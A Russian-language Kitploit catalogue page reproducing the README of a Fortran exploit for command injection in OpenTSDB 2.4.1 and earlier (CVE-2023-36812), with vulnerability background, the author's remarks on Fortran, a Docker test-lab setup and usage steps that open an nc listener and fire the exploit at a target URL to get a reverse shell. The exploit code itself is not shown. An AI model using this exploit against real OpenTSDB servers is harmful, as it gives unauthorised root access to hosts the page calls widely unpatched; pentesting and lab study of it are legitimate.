Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
opentsdb_key_cmd_injection — Эксплойт для OpenTSDB <= 2.4.1, эксплуатирующий инъекцию команд (CVE-2023-36812/CVE-2023-25826), написанный на Fortran. | Kitploit
Инструменты/GitHubGitHub/erikwynter/opentsdb_key_cmd_injection
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеRed Teaming
GitHub
erikwynter/opentsdb_key_cmd_injection

opentsdb_key_cmd_injection

Эксплойт для OpenTSDB <= 2.4.1, эксплуатирующий инъекцию команд (CVE-2023-36812/CVE-2023-25826), написанный на Fortran.

Репозиторий
7173 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

opentsdb_key_cmd_injection

Эксплойт для инъекции команд в OpenTSDB <= 2.4.1 (CVE-2023-36812/CVE-2023-25826), написанный на Fortran

О проекте

Это эксплойт для уязвимости инъекции команд в OpenTSDB версий 2.4.1 и более ранних (CVE-2023-36812/CVE-2023-25826). Эксплойт написан на современном Fortran и использует официальную библиотеку http-client для Fortran, созданную ранее в этом году.

Детали уязвимости

OpenTSDB — это открытая база данных временных рядов, написанная на Java. В 2020 году в версиях 2.4.0 и более ранних была обнаружена уязвимость инъекции команд, которая позволяла получить удалённое выполнение кода на хосте с правами root. Поскольку OpenTSDB не поддерживает аутентификацию, эта уязвимость, отслеживаемая как CVE-2020-35476, могла быть использована любым, у кого есть доступ к веб-интерфейсу OpenTSDB. Проблема была исправлена в версии 2.4.1.

В этом году было обнаружено, что патч для CVE-2020-35476 неполон, и инъекция команд по-прежнему возможна в OpenTSDB 2.4.1 через несколько векторов.

Детали:

  • Идентификатор: CVE-2023-36812. Стоит отметить, что CVE-2023-25826, судя по всему, описывает ту же уязвимость, и обе записи CVE ведут на один и тот же патч.
  • Security advisory: https://github.com/OpenTSDB/opentsdb/security/advisories/GHSA-76f7-9v52-v2fw
  • Авторы: Gal Goldstein и Daniel Abeles из Oxeye
  • Патч: патч появится в 2.4.2, которая пока не является официальным релизом. На момент написания текста последний релиз OpenTSDB — 2.4.1, поэтому, скорее всего, большинство продакшн-инстансов OpenTSDB уязвимы. При этом в FAQ OpenTSDB подчёркивается, что этот проект «был написан только для внутреннего использования» и «не проходил никакого аудита безопасности и не включает аутентификацию».

Почему Fortran?

Короче говоря, я увидел этот разговор: why

Идея написать эксплойт на языке программирования, на котором людей отправили на Луну, настолько меня заинтриговала, что я должен был попробовать сам. Этот эксплойт — результат того эксперимента. На вопрос, был ли он успешным, я могу ответить лишь этими мудрыми, но проклятыми словами, которые кровно связывают всех разработчиков: У меня работает. ¯\(ツ)/¯

В любом случае, вот мои ключевые выводы из этого проекта:

  • Fortran на самом деле довольно крут и на удивление прост в освоении.
  • Современная экосистема Fortran, включая пакетный менеджер fpm, выглядит очень многообещающей.
  • Fortran — язык со строгой типизацией, и я счёл это плюсом, поскольку почти не сталкивался с неприятными ошибками времени выполнения.
  • Проекты Fortran с зависимостями получаются большими, потому что fpm включает исходный код зависимостей прямо в ваш проект. Плюс в том, что это позволяет не засорять систему.
  • Поддержка библиотек относительно ограничена и хаотична по сравнению с современными языками. К сожалению, это касается не только библиотеки http-client.
  • Неудивительно, что хорошую документацию и советы по устранению проблем найти сложнее, чем у большинства современных языков программирования, хотя на StackOverflow и давно забытых форумах начала 2000-х всё ещё можно найти немало полезных постов.
  • ИИ-инструменты вроде ChatGPT и GitHub Copilot как напарники по программированию здесь ещё менее надёжны, чем в случае с современными языками.

В целом трудно представить, что этот язык действительно обретёт значимость в offensive security, хотя бы потому, что для любого мыслимого сценария есть множество надёжных современных альтернатив (Python, Go, Rust, Ruby, C# — лишь некоторые из них). Но если вам нравится экспериментировать с разными языками программирования и вы не против постоянно оборачивать строки в вызовы trim() (ОБРАТИТЕ НА ЭТО ВНИМАНИЕ, ЭТО ИЗБАВИТ ВАС ОТ ОГРОМНЫХ СТРАДАНИЙ), Fortran определённо стоит попробовать. Сейчас я без иронии болею за этот язык и, возможно, вернусь к нему, если они продолжат добавлять поддержку в библиотеку http-client, особенно если когда-нибудь добавят библиотеку http-server.

TL;DR: Fortran http-client lib делает «брр».

Использование

  • Запустите слушатель на своей системе, например:
nc -nlvp 1337
  • В отдельном окне перейдите в каталог opentsdb_key_cmd_injection
# cd /path/to/opentsdb_key_cmd_injection/
  • Запустите проект через fpm (убедитесь, что сначала установили его. Инструкции по установке — в следующем разделе)
# /path/to/fpm run -- -t <target_url> -l <lhost> -p <lport> [-v]

Параметры:

  • -t - TARGET URL: базовый URL OpenTSDB (обязательно)
  • -l - LHOST: IP-адрес системы, на которой запущен слушатель (обязательно)
  • -p - LPORT: порт слушателя (обязательно)
  • -v - VERBOSE: включить подробный вывод (необязательно)

Установка

  • Установите gfortran. В системах на базе Debian это делается так:
apt install gfortran
  • Установите fpm. Проще всего загрузить бинарник последнего стабильного релиза из релизов fpm на GitHub и сделать его исполняемым:
chmod +x /<path>/to/fpm

Перед установкой fpm убедитесь, что в вашей системе установлен git.

Poc || GTFO

https://github.com/ErikWynter/opentsdb_key_cmd_injection/assets/55885619/223e813e-9710-4193-98a1-ded2246567bf

Настройка экземпляра OpenTSDB для тестирования

Установка вручную (не рекомендуется)

Для установки вручную вы можете следовать официальным инструкциям здесь. Впрочем, это может быть утомительно, поэтому я рекомендую вместо этого использовать Docker.

Установка через Docker (рекомендуется)

Для версии 2.4.0 можно использовать docker-образ vulhub и следовать инструкциям по установке здесь. Этот образ был создан для CVE-2020-35476 — более старой уязвимости в OpenTSDB до версии 2.4.0 включительно.

Для версии 2.4.1 и, вероятно, любой другой версии можно использовать образ vulhub для OpenTSDB 2.4.0 и отредактировать его так, чтобы установить нужную вам версию. Я применил этот подход для 2.4.1, и всё отлично сработало.

  • Сначала возьмите файлы Dockerfile и docker-entrypoint.sh из vulhub OpenTSDB 2.4.0 здесь и сохраните их в отдельном каталоге.
  • В Dockerfile замените все вхождения 2.4.0 на нужную версию, например 2.4.1
  • Править docker-entrypoint.sh не нужно.
  • Создайте файл docker-compose.yml со следующим содержимым:
version: '2'
services:
 opentsdb:
   build: ./path-to-your-dockerfile-directory
   ports:
    - "4242:4242"

Я использовал такую структуру файлов:

wynter@wynter-pc:~/dev/opentsdb$ ls -lR
.:
total 8
-rw-rw-r-- 1 wynter wynter   86 Sep  1 10:55 docker-compose.yml
drwxrwxr-x 2 wynter wynter 4096 Sep  1 10:54 docker_file

./docker_file:
total 8
-rw-rw-r-- 1 wynter wynter 927 Sep  1 10:54 Dockerfile
-rw-rw-r-- 1 wynter wynter 359 Sep  1 10:35 docker-entrypoint.sh
wynter@wynter-pc:~/dev/opentsdb$ cat docker-compose.yml 
version: '2'
services:
 opentsdb:
   build: ./docker_file
   ports:
    - "4242:4242"
  • Наконец, соберите и запустите образ через docker-compose, выполнив приведённую ниже команду в каталоге с вашим файлом docker-compose.yml:
docker-compose up -d
  • Через несколько секунд OpenTSDB будет доступен на порту 4242. Никакой дополнительной настройки не требуется.
Скачать инструмент